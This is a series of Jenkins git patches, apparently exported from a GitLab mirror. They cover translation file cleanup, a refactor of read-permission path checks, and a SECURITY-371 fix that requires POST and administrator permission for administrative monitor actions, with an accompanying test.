License -# -# Copyright (c) 2004-, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributers -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Apply=Aplicar los cambios diff --git a/core/src/main/resources/lib/form/apply_et.properties b/core/src/main/resources/lib/form/apply_et.properties deleted file mode 100644 index e186484f3a..0000000000 --- a/core/src/main/resources/lib/form/apply_et.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Kinnita diff --git a/core/src/main/resources/lib/form/apply_fr.properties b/core/src/main/resources/lib/form/apply_fr.properties deleted file mode 100644 index 77842f0cc6..0000000000 --- a/core/src/main/resources/lib/form/apply_fr.properties +++ /dev/null @@ -1,23 +0,0 @@ -# The MIT License -# -# Copyright (c) 2012, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributers -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Apply=Appliquer diff --git a/core/src/main/resources/lib/form/apply_hu.properties b/core/src/main/resources/lib/form/apply_hu.properties deleted file mode 100644 index 132698b0d6..0000000000 --- a/core/src/main/resources/lib/form/apply_hu.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Alkalmaz diff --git a/core/src/main/resources/lib/form/apply_it.properties b/core/src/main/resources/lib/form/apply_it.properties deleted file mode 100644 index aa6783c77f..0000000000 --- a/core/src/main/resources/lib/form/apply_it.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Applica diff --git a/core/src/main/resources/lib/form/apply_ja.properties b/core/src/main/resources/lib/form/apply_ja.properties deleted file mode 100644 index 5ff38bec76..0000000000 --- a/core/src/main/resources/lib/form/apply_ja.properties +++ /dev/null @@ -1,24 +0,0 @@ -# The MIT License -# -# Copyright (c) 2012, Kohsuke Kawaguchi, -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -# THE SOFTWARE. - -Apply=\u9069\u7528 - diff --git a/core/src/main/resources/lib/form/apply_ko.properties b/core/src/main/resources/lib/form/apply_ko.properties deleted file mode 100644 index 25b121945a..0000000000 --- a/core/src/main/resources/lib/form/apply_ko.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\uC801\uC6A9 diff --git a/core/src/main/resources/lib/form/apply_nl.properties b/core/src/main/resources/lib/form/apply_nl.properties deleted file mode 100644 index 4781a8fdb2..0000000000 --- a/core/src/main/resources/lib/form/apply_nl.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Toepassen diff --git a/core/src/main/resources/lib/form/apply_pl.properties b/core/src/main/resources/lib/form/apply_pl.properties deleted file mode 100644 index b7aa9252c5..0000000000 --- a/core/src/main/resources/lib/form/apply_pl.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Zastosuj diff --git a/core/src/main/resources/lib/form/apply_pt_BR.properties b/core/src/main/resources/lib/form/apply_pt_BR.properties deleted file mode 100644 index 90235e731c..0000000000 --- a/core/src/main/resources/lib/form/apply_pt_BR.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Aplicar diff --git a/core/src/main/resources/lib/form/apply_ru.properties b/core/src/main/resources/lib/form/apply_ru.properties deleted file mode 100644 index 6c2bddec13..0000000000 --- a/core/src/main/resources/lib/form/apply_ru.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438\u0442\u044C diff --git a/core/src/main/resources/lib/form/apply_sk.properties b/core/src/main/resources/lib/form/apply_sk.properties deleted file mode 100644 index 0325a43d1d..0000000000 --- a/core/src/main/resources/lib/form/apply_sk.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Pou\u017Ei diff --git a/core/src/main/resources/lib/form/apply_sr.properties b/core/src/main/resources/lib/form/apply_sr.properties deleted file mode 100644 index c5e16ef3c9..0000000000 --- a/core/src/main/resources/lib/form/apply_sr.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\u041F\u0440\u0438\u043C\u0435\u043D\u0438 diff --git a/core/src/main/resources/lib/form/apply_sv_SE.properties b/core/src/main/resources/lib/form/apply_sv_SE.properties deleted file mode 100644 index 578751a2b0..0000000000 --- a/core/src/main/resources/lib/form/apply_sv_SE.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=Verkst\u00E4ll diff --git a/core/src/main/resources/lib/form/apply_zh_CN.properties b/core/src/main/resources/lib/form/apply_zh_CN.properties deleted file mode 100644 index 18fe4b3fce..0000000000 --- a/core/src/main/resources/lib/form/apply_zh_CN.properties +++ /dev/null @@ -1,3 +0,0 @@ -# This file is under the MIT License by authors - -Apply=\u5E94\u7528 diff --git a/core/src/main/resources/lib/hudson/executors_pl.properties b/core/src/main/resources/lib/hudson/executors_pl.properties index 015941013b..019f15b550 100644 --- a/core/src/main/resources/lib/hudson/executors_pl.properties +++ b/core/src/main/resources/lib/hudson/executors_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,8 +21,6 @@ # THE SOFTWARE. Build\ Executor\ Status=Status wykonawc\u00F3w zada\u0144 -Building=Buduje -Dead=Niedost\u0119pny Idle=Bezczynny Unknown\ Task=Nieznane zadanie offline=roz\u0142\u0105czony diff --git a/core/src/main/resources/lib/form/apply_bg.properties b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties similarity index 87% rename from core/src/main/resources/lib/form/apply_bg.properties rename to core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties index 673c532564..e98932b414 100644 --- a/core/src/main/resources/lib/form/apply_bg.properties +++ b/core/src/main/resources/lib/hudson/project/config-buildWrappers_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Bulgarian translation: Copyright (c) 2015, 2016, Alexander Shopov +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,6 +19,4 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Apply=\ - \u041f\u0440\u0438\u043b\u0430\u0433\u0430\u043d\u0435 +Build\ Environment=\u015Arodowisko do budowania diff --git a/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties b/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties index dbf0f019a5..dca0704a66 100644 --- a/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties +++ b/core/src/main/resources/lib/hudson/project/config-disableBuild_pl.properties @@ -1,4 +1,23 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Disable\ this\ project=Zablokuj zadania -No\ new\ builds\ will\ be\ executed\ until\ the\ project\ is\ re-enabled.=Nowe zadania nie b\u0119d\u0105 wykonywane dop\u00F3ki projekt nie b\u0119dzie odblokowany diff --git a/core/src/main/resources/lib/hudson/queue_pl.properties b/core/src/main/resources/lib/hudson/queue_pl.properties index a326a1933f..1520fdffaa 100644 --- a/core/src/main/resources/lib/hudson/queue_pl.properties +++ b/core/src/main/resources/lib/hudson/queue_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,5 +24,4 @@ Build\ Queue=Kolejka zada\u0144{0,choice,0#|0< ({0,number})} Jenkins\ is\ going\ to\ shut\ down.\ No\ further\ builds\ will\ be\ performed.=Jenkins przygotowuje si\u0119 do wy\u0142\u0105czenia. Uruchamianie nast\u0119pnych kompilacji zosta\u0142o wstrzymane. No\ builds\ in\ the\ queue.=Nie ma zada\u0144 w kolejce WaitingFor=Czeka na {0} -WaitingSince=Oczekiwanie od {0} cancel=anuluj -- GitLab From 0060335b8cf6d36641bd610817bae98873c32746 Mon Sep 17 00:00:00 2001 From: Bryson Gibbons Date: Thu, 15 Dec 2016 14:49:13 -0800 Subject: [PATCH 423/712] =?UTF-8?q?[JENKINS-32797]=20Break=20the=20catch?= =?UTF-8?q?=20clause=20contents=20of=20Jenkins.getTarget(=E2=80=A6=20(#265?= =?UTF-8?q?2)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [JENKINS-32797] Break the catch clause contents of Jenkins.getTarget() out into a separate, publicly accessible function. This will allow plugins (particularly authentication plugins that override the normal authentication process) to determine if authentication is not required for a particular path by calling isPathUnprotected(restOfPath). * Add @since TODO to comment * Change name of function to something that is accurate and clear isPathUnprotected is misleading, and the Javadoc was worse. isSubjectToMandatoryReadPermissionCheck is a much better name, and the return value is reversed to match the name, --- core/src/main/java/jenkins/model/Jenkins.java | 45 ++++++++++++------- 1 file changed, 29 insertions(+), 16 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 7c61deebdd..d7d69c9394 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -4549,29 +4549,42 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve try { checkPermission(READ); } catch (AccessDeniedException e) { - String rest = Stapler.getCurrentRequest().getRestOfPath(); - for (String name : ALWAYS_READABLE_PATHS) { - if (rest.startsWith(name)) { - return this; - } - } - for (String name : getUnprotectedRootActions()) { - if (rest.startsWith("/" + name + "/") || rest.equals("/" + name)) { - return this; - } - } - - // TODO SlaveComputer.doSlaveAgentJnlp; there should be an annotation to request unprotected access - if (rest.matches("/computer/[^/]+/slave-agent[.]jnlp") - && "true".equals(Stapler.getCurrentRequest().getParameter("encrypt"))) { + if (!isSubjectToMandatoryReadPermissionCheck(Stapler.getCurrentRequest().getRestOfPath())) { return this; } - throw e; } return this; } + + /** + * Test a path to see if it is subject to mandatory read permission checks by container-managed security + * @param restOfPath the URI, excluding the Jenkins root URI and query string + * @return true if the path is subject to mandatory read permission checks + * @since TODO + */ + public boolean isSubjectToMandatoryReadPermissionCheck(String restOfPath) { + for (String name : ALWAYS_READABLE_PATHS) { + if (restOfPath.startsWith(name)) { + return false; + } + } + + for (String name : getUnprotectedRootActions()) { + if (restOfPath.startsWith("/" + name + "/") || restOfPath.equals("/" + name)) { + return false; + } + } + + // TODO SlaveComputer.doSlaveAgentJnlp; there should be an annotation to request unprotected access + if (restOfPath.matches("/computer/[^/]+/slave-agent[.]jnlp") + && "true".equals(Stapler.getCurrentRequest().getParameter("encrypt"))) { + return false; + } + + return true; + } /** * Gets a list of unprotected root actions. -- GitLab From 9c23a30e674137bc9d8fbed4cc31f9098266949f Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 00:03:06 +0100 Subject: [PATCH 424/712] [FIXED JENKINS-40489] - Fix Jenkins initialization stage names --- core/src/main/java/jenkins/model/Jenkins.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index d7d69c9394..8ba424fce7 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3044,7 +3044,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve }); for (final File subdir : subdirs) { - g.requires(loadJenkins).attains(JOB_LOADED).notFatal().add("Loading job "+subdir.getName(),new Executable() { + g.requires(loadJenkins).attains(JOB_LOADED).notFatal().add("Loading item " + subdir.getName(), new Executable() { public void run(Reactor session) throws Exception { if(!Items.getConfigFile(subdir).exists()) { //Does not have job config file, so it is not a jenkins job hence skip it @@ -3057,7 +3057,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve }); } - g.requires(JOB_LOADED).add("Cleaning up old builds",new Executable() { + g.requires(JOB_LOADED).add("Cleaning up obsolete items deleted from the disk", new Executable() { public void run(Reactor reactor) throws Exception { // anything we didn't load from disk, throw them away. // doing this after loading from disk allows newly loaded items -- GitLab From 6ce8cafcddf69756592de36d196c5748995c3496 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 23:13:50 +0000 Subject: [PATCH 425/712] Oleg wanted Javadoc commend --- core/src/main/java/hudson/util/RunList.java | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/core/src/main/java/hudson/util/RunList.java b/core/src/main/java/hudson/util/RunList.java index 1106886ec0..8b9bd7683d 100644 --- a/core/src/main/java/hudson/util/RunList.java +++ b/core/src/main/java/hudson/util/RunList.java @@ -76,6 +76,15 @@ public class RunList extends AbstractList { this.base = combine(runLists); } + /** + * Createsa a {@link RunList} combining all the runs of the supplied jobs. + * + * @param jobs the supplied jobs. + * @param the base class of job. + * @param the base class of run. + * @return the run list. + * @since FIXME + */ public static , R extends Run> RunList fromJobs(Iterable jobs) { List> runLists = new ArrayList<>(); for (Job j : jobs) -- GitLab From 8126525582cb199a4dd6c520f868d747f5398577 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Tue, 29 Nov 2016 12:03:40 -0800 Subject: [PATCH 426/712] [SECURITY-371] Ensure admin access for all AdministrativeMonitor actions. --- .../diagnosis/HudsonHomeDiskUsageMonitor.java | 3 +- .../java/hudson/diagnosis/OldDataMonitor.java | 1 + .../diagnosis/ReverseProxySetupMonitor.java | 2 + .../diagnosis/TooManyJobsButNoView.java | 2 + .../hudson/model/AdministrativeMonitor.java | 14 +++++- .../diagnostics/SecurityIsOffMonitor.java | 2 + .../security/RekeySecretAdminMonitor.java | 11 +---- .../security/s2m/AdminCallableMonitor.java | 2 + .../security/s2m/MasterKillSwitchWarning.java | 2 + .../HudsonHomeDiskUsageMonitorTest.java | 47 +++++++++++++++++++ 10 files changed, 73 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java index bb4e8e5040..678a8a067d 100644 --- a/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java +++ b/core/src/main/java/hudson/diagnosis/HudsonHomeDiskUsageMonitor.java @@ -24,7 +24,6 @@ package hudson.diagnosis; import hudson.model.AdministrativeMonitor; -import jenkins.model.Jenkins; import hudson.model.AbstractModelObject; import hudson.Extension; import hudson.ExtensionPoint; @@ -32,6 +31,7 @@ import hudson.ExtensionList; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; import java.io.IOException; import java.util.List; @@ -64,6 +64,7 @@ public final class HudsonHomeDiskUsageMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public HttpResponse doAct(@QueryParameter String no) throws IOException { if(no!=null) { disable(true); diff --git a/core/src/main/java/hudson/diagnosis/OldDataMonitor.java b/core/src/main/java/hudson/diagnosis/OldDataMonitor.java index b955cd2178..3f31c0fe92 100644 --- a/core/src/main/java/hudson/diagnosis/OldDataMonitor.java +++ b/core/src/main/java/hudson/diagnosis/OldDataMonitor.java @@ -52,6 +52,7 @@ import java.util.concurrent.ConcurrentMap; import java.util.logging.Level; import java.util.logging.Logger; import javax.annotation.CheckForNull; + import jenkins.model.Jenkins; import org.acegisecurity.context.SecurityContext; import org.acegisecurity.context.SecurityContextHolder; diff --git a/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java b/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java index 94412637bf..06630a94b2 100644 --- a/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java +++ b/core/src/main/java/hudson/diagnosis/ReverseProxySetupMonitor.java @@ -36,6 +36,7 @@ import java.util.logging.Level; import java.util.logging.Logger; import jenkins.model.Jenkins; import org.kohsuke.stapler.Stapler; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Looks out for a broken reverse proxy setup that doesn't rewrite the location header correctly. @@ -85,6 +86,7 @@ public class ReverseProxySetupMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public HttpResponse doAct(@QueryParameter String no) throws IOException { if(no!=null) { // dismiss disable(true); diff --git a/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java b/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java index 80ea45c9e6..4c5599782b 100644 --- a/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java +++ b/core/src/main/java/hudson/diagnosis/TooManyJobsButNoView.java @@ -28,6 +28,7 @@ import jenkins.model.Jenkins; import hudson.Extension; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import java.io.IOException; @@ -49,6 +50,7 @@ public class TooManyJobsButNoView extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { if(req.hasParameter("no")) { disable(true); diff --git a/core/src/main/java/hudson/model/AdministrativeMonitor.java b/core/src/main/java/hudson/model/AdministrativeMonitor.java index a8e5554092..c43f2dae0d 100644 --- a/core/src/main/java/hudson/model/AdministrativeMonitor.java +++ b/core/src/main/java/hudson/model/AdministrativeMonitor.java @@ -34,8 +34,10 @@ import java.util.Set; import java.io.IOException; import jenkins.model.Jenkins; +import org.kohsuke.stapler.StaplerProxy; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; /** * Checks the health of a subsystem of Jenkins and if there's something @@ -75,7 +77,7 @@ import org.kohsuke.stapler.StaplerResponse; * @see Jenkins#administrativeMonitors */ @LegacyInstancesAreScopedToHudson -public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint { +public abstract class AdministrativeMonitor extends AbstractModelObject implements ExtensionPoint, StaplerProxy { /** * Human-readable ID of this monitor, which needs to be unique within the system. * @@ -143,12 +145,20 @@ public abstract class AdministrativeMonitor extends AbstractModelObject implemen /** * URL binding to disable this monitor. */ + @RequirePOST public void doDisable(StaplerRequest req, StaplerResponse rsp) throws IOException { - Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); disable(true); rsp.sendRedirect2(req.getContextPath()+"/manage"); } + /** + * Requires ADMINISTER permission for any operation in here. + */ + public Object getTarget() { + Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); + return this; + } + /** * All registered {@link AdministrativeMonitor} instances. */ diff --git a/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java b/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java index 23148724b2..48683bb0d9 100644 --- a/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java +++ b/core/src/main/java/jenkins/diagnostics/SecurityIsOffMonitor.java @@ -5,6 +5,7 @@ import hudson.model.AdministrativeMonitor; import jenkins.model.Jenkins; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import org.kohsuke.stapler.interceptor.RequirePOST; import java.io.IOException; @@ -27,6 +28,7 @@ public class SecurityIsOffMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "yes" or "no", send him to the right place. */ + @RequirePOST public void doAct(StaplerRequest req, StaplerResponse rsp) throws IOException { if(req.hasParameter("no")) { disable(true); diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index ea96951bcf..bf5d361060 100644 --- a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -11,7 +11,6 @@ import jenkins.management.AsynchronousAdministrativeMonitor; import jenkins.model.Jenkins; import jenkins.util.io.FileBoolean; import org.kohsuke.stapler.HttpResponse; -import org.kohsuke.stapler.StaplerProxy; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.interceptor.RequirePOST; @@ -29,7 +28,7 @@ import java.util.logging.Logger; * @author Kohsuke Kawaguchi */ @Extension -public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor implements StaplerProxy { +public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { /** * Whether we detected a need to run the rewrite program. @@ -62,14 +61,6 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor i needed.on(); } - /** - * Requires ADMINISTER permission for any operation in here. - */ - public Object getTarget() { - Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); - return this; - } - @Override public boolean isActivated() { return needed.isOn(); diff --git a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java index d6a483af76..3da88e6fa6 100644 --- a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java +++ b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java @@ -8,6 +8,7 @@ import jenkins.model.Jenkins; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.inject.Inject; import java.io.IOException; @@ -49,6 +50,7 @@ public class AdminCallableMonitor extends AdministrativeMonitor { /** * Depending on whether the user said "examin" or "dismiss", send him to the right place. */ + @RequirePOST public HttpResponse doAct(@QueryParameter String dismiss) throws IOException { if(dismiss!=null) { disable(true); diff --git a/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java b/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java index 7a5df576f1..012056c4a7 100644 --- a/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java +++ b/core/src/main/java/jenkins/security/s2m/MasterKillSwitchWarning.java @@ -5,6 +5,7 @@ import hudson.model.AdministrativeMonitor; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.HttpResponses; import org.kohsuke.stapler.QueryParameter; +import org.kohsuke.stapler.interceptor.RequirePOST; import javax.inject.Inject; import java.io.IOException; @@ -28,6 +29,7 @@ public class MasterKillSwitchWarning extends AdministrativeMonitor { return rule.getMasterKillSwitch() && config.isRelevant(); } + @RequirePOST public HttpResponse doAct(@QueryParameter String dismiss) throws IOException { if(dismiss!=null) { disable(true); diff --git a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java index 8f2e42c39a..6316a77579 100644 --- a/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java +++ b/test/src/test/java/hudson/diagnosis/HudsonHomeDiskUsageMonitorTest.java @@ -1,9 +1,20 @@ package hudson.diagnosis; +import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import com.gargoylesoftware.htmlunit.HttpMethod; +import com.gargoylesoftware.htmlunit.WebRequest; +import com.gargoylesoftware.htmlunit.util.NameValuePair; +import hudson.model.User; +import hudson.security.GlobalMatrixAuthorizationStrategy; +import hudson.security.HudsonPrivateSecurityRealm; +import hudson.security.Permission; +import jenkins.model.Jenkins; +import org.acegisecurity.context.SecurityContextHolder; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; @@ -13,6 +24,7 @@ import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.ElementNotFoundException; import java.io.IOException; +import java.util.Collections; /** * @author Kohsuke Kawaguchi @@ -45,6 +57,41 @@ public class HudsonHomeDiskUsageMonitorTest { } } + @Test + public void noAccessForNonAdmin() throws Exception { + JenkinsRule.WebClient wc = j.createWebClient(); + + // TODO: Use MockAuthorizationStrategy in later versions + JenkinsRule.DummySecurityRealm realm = j.createDummySecurityRealm(); + realm.addGroups("administrator", "admins"); + realm.addGroups("alice", "users"); + realm.addGroups("bob", "users"); + j.jenkins.setSecurityRealm(realm); + GlobalMatrixAuthorizationStrategy auth = new GlobalMatrixAuthorizationStrategy(); + auth.add(Jenkins.ADMINISTER, "admins"); + auth.add(Permission.READ, "users"); + j.jenkins.setAuthorizationStrategy(auth); + + WebRequest request = new WebRequest(wc.createCrumbedUrl("administrativeMonitor/hudsonHomeIsFull/act"), HttpMethod.POST); + NameValuePair param = new NameValuePair("no", "true"); + request.setRequestParameters(Collections.singletonList(param)); + + HudsonHomeDiskUsageMonitor mon = HudsonHomeDiskUsageMonitor.get(); + + try { + wc.login("bob"); + wc.getPage(request); + } catch (FailingHttpStatusCodeException e) { + assertEquals(403, e.getStatusCode()); + } + assertTrue(mon.isEnabled()); + + wc.login("administrator"); + wc.getPage(request); + assertFalse(mon.isEnabled()); + + } + /** * Gets the warning form. */ -- GitLab From 17b98d6246637be0a41b6ef57825e5e4dfcc42b7 Mon Sep 17 00:00:00 2001 From: Andrew Bayer Date: Fri, 16 Dec 2016 13:44:36 -0500 Subject: [PATCH 427/712] Responding to review comments. --- .../java/hudson/model/AdministrativeMonitor.java | 3 +++ 